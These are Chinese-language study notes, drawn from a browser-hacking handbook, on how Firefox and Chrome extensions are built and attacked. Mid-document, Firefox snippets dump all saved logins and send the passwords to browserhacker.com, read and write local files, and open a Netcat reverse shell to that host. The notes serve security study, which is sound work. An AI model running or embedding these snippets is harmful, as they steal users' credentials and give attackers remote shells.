攻擊擴展
擴展的結構
擴展與插件
區別
- 擴展存在於瀏覽器進程空間,插件可以獨立執行
- 擴展可以創建瀏覽器菜單和標籤頁,插件不可以
- 擴展可以在瀏覽器打開的所有頁面中生效,插件隻影響加載它的頁面
- 加載的方法
- 服務器返回特點的MIME類型
- 使用(或)標籤
- 加載的方法
擴展與附加程序
附加程序(add-on)可以理解爲涵蓋插件、擴展的一種外部程序。一般來說,附加程序指的是除瀏覽器及其插件之外的所有外部程序。
利用特權
每個提供的擴展環境都擁有訪問瀏覽器功能的較高權限
瀏覽器的兩個主要區域:
- 低權限的互聯網區域——無特權,收限於SOP,無權訪問用戶敏感數據和干擾操作系統
- 較高權限的瀏覽器區域(chrome://區域)——擴展運行的區域,瀏覽器高度信任,有權訪問敏感的用戶信息和特權API,不受SOP限制。
Firefox擴展
- Firefox擴展是一個使用zip格式的壓縮文件,使用.xpi後綴
- 文件結構
- Chrome:包含下層子目錄
- Content:包含主功能
- Skin:包含圖片和CSS
- Defaults:包含偏好配置項
- Components:包含XPCOM組件(可選)
- install.rdf:包含安裝和更新的細節
- updateURL和updateKey——影響針對更新過程的攻擊
- Chrome:包含下層子目錄
- XUL和XBL
- XUL:Firefox瀏覽器中用於表示chrome中可見內容的語言。
- XBL:把可見的內容和JavaScript連接起來
- XPCOM API
- XPCOM就是在瀏覽器中使用的跨平臺組件模型
- XPConnect:XPCOM和JavaScript之間的橋樑,通過XPConnect,JavaScript能夠調用XPCOM的各種功能
- 擴展可以使用運行在操作系統環境中的XPCOM組件
- 利用登錄管理器
// 取得登錄管理對象 var l2m=Components.classes["@mozilla.org/loginmanager;1"].getService(Components.interfaces.nsILoginManager); // 從登錄管理對象中取得所有憑據 allCredentials = l2m.getAllLogins({}); // 提取主機、用戶名和密碼 for (i=0;i<=allCredentials.length;i=i+1){ var url = "http://browserhacker.com/"; url += "?host=" + encodeURI(allCredentials[i].hostname); url += "&user=" + encodeURI(allCredentials[i].username); url += "&password=" + encodeURI(allCredentials[i].password); window.open(url); }
- 讀取文件系統
SOP不適用於擴展中的URL
var fileToRead="file:///C:/boot.ini"; \\讀取c:\boot.ini文件 var fileContents=document.ReadURL.readFile(fileToRead);
- 寫入文件系統
function makeFile(bdata){ var workingDir= Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("Home", Components.interfaces.nsIFile); var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); aFile.initWithPath( workingDir.path + "\\filename.exe" ); aFile.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 777); var stream = Components.classes["@mozilla.org/network/safe-file-outputstream;1"].createInstance(Components.interfaces.nsIFileOutputStream); //Firefox用來寫入文件系統的XPCOM API是nsIFileOutputStream stream.init(aFile, 0x04 | 0x08 | 0x20, 0777, 0); stream.write(bdata, bdata.length); if (stream instanceof Components.interfaces.nsISafeOutputStream){ stream.finish(); } else { stream.close(); } }
- 執行操作系統命令
以Netcat執行反向shell:
var lFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); var lPath = "/bin/nc"; lFile.initWithPath(lPath); var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); process.init(lFile); process.run(false,['-e', '/bin/bash', 'browserhacker.com', '12345'],4);
- 利用登錄管理器
Chrome擴展
- 組成
- 包含一個清單文件(manifest file),以及由後臺頁面、UI頁面及內容腳本構成的其他組件。
- 使用.crx作爲擴展文件名的後綴
- 清單文件(manifest.json)
* - 內容腳本
內容腳本負責與加載到瀏覽器中的網頁內容交互,Chrome擴展中的這個組件擁有直接訪問DOM的權限,攻擊面最大。- 特點
- 內容腳本不能調用在網頁源中定義的任何函數
- 內容腳本只能訪問擴展API,不能訪問關聯擴展頁面中的變量和函數,不能訪問其他內容腳本,不能對擴展所在頁面發送跨域請求
- 內容腳本與擴展的其他部分是隔離的,與安全邊界之內的環境是隔離的
- 可以對任何列在其清單文件中的來源,發起跨域XHR請求(XMLHttp-Request請求),與這些請求同時發送的,還有用戶正在交互的Web應用所設置的cookie
- 特點
- UI頁面
UI頁面指的是選項頁、彈出層,或其他展示給用戶的頁面,就是構成擴展用戶界面的HTML資源。運行在這些UI頁面中的JavaScript擁有較高權限。- 特點
- UI頁面不能直接訪問DOM,必須利用內容腳本才行
- 特點
- 後臺頁面
後臺頁面(在使用過程中)可以視爲擴展的核心,權限較高。 - NPAPI插件
NPAPI插件在Chrome沙箱外部運行,擁有用戶權限。 - 安全模型
- 獨立王國
加載網頁中的腳本與內容腳本相互隔離。 - 匹配模式
匹配模式用於限制擴展的XMLHttpRequest對象 - 權限
API相應的權限同樣也在manifest.json文件中列出 - 安全邊界
安全邊界將內容腳本(及網頁)與擴展的其他部分隔開。
- 獨立王國
- 內容安全策略
- 定義:manifest.json文件中的content_security_policy參數
- 默認:
script-src 'self'; object-src 'self'
- 不允許外部加載腳本。
- 不允許外部加載對象。
- 不允許行內腳本。
- 不允許eval()。
採集擴展指紋
HTTP首部
查看首部變化
- 對比安裝前後的頭部信息
- 查詢擴展源代碼
- Chrome擴展查看流程
- 檢測manifest.json文件是否請求了webRequest權限
- 查看chrome.webRequest.onBeforeSendHeader函數
- 查看XMLHttpRequest.setRequestHeader函數
- Firefox擴展
- ,搜索setRequestHeader可以找到修改請求首部的位置
- Chrome擴展查看流程
使用DOM採集
- Firebug
- 檢測是否開啓(全true則開啓):!!window.console.clear、!!window.console.exception、!!window.console.table
- 僅檢測Firebug Lite:!!window.console.provider
使用清單文件
- web_accessible_resources數組:manifest.json文件中用於列出可以通過URL訪問的資源
- GUID
攻擊擴展
冒充擴展
跨上下文腳本攻擊(XCS)
跨上下文腳本攻擊(XCS)是一種從不受信任區域向受信任區域發送指令的擴展攻擊方法。
中間人攻擊
擴展中使用遠程加載的數據,可能會爲攻擊者提供機會。
- Firefox擴展
- 相關函數
- window.open()
- window.opendialog()
- nsIWindowWatcher()
- XMLHTTPRequest()
- 相關函數
繞過Web應用CSP
內容腳本根本不受CSP保護。
繞過同源策略
Chrome擴展的內容腳本可以讀取跨域請求的響應,在發送跨域請求時,首部會包含與相應源關聯的cookie。
普遍的XSS攻擊
如果某個瀏覽器的擴展中存在一個XSS漏洞,那就有可能在瀏覽器加載的任意頁面上被利用。
跨站點請求僞造(XSRF)
假設有一個擴展,在加載位於白名單中的UI頁面時,會從GET請求中讀取一個配置參數。加載完成後(包括提供了參數後),關鍵的配置數據就保存在LocalStorage中。
一個頁面作爲白名單文件,出現在了web_accessible_resources參數中,意味着任何網頁都可以在一個<iframe>中包含它。加載這個包含定製URL的內嵌框架,會導致這個虛構擴展的LocalStorage對象中保存任意內容。
攻擊DOM事件處理程序
Firefox中chrome://區域與不受信任區域間的通信,也可以通過DOM事件實現。
執行操作系統命令
Chrome擴展可以通過使用NPAPI,在文件系統中執行程序。
參考文獻
《黑客攻防寶典——瀏覽器》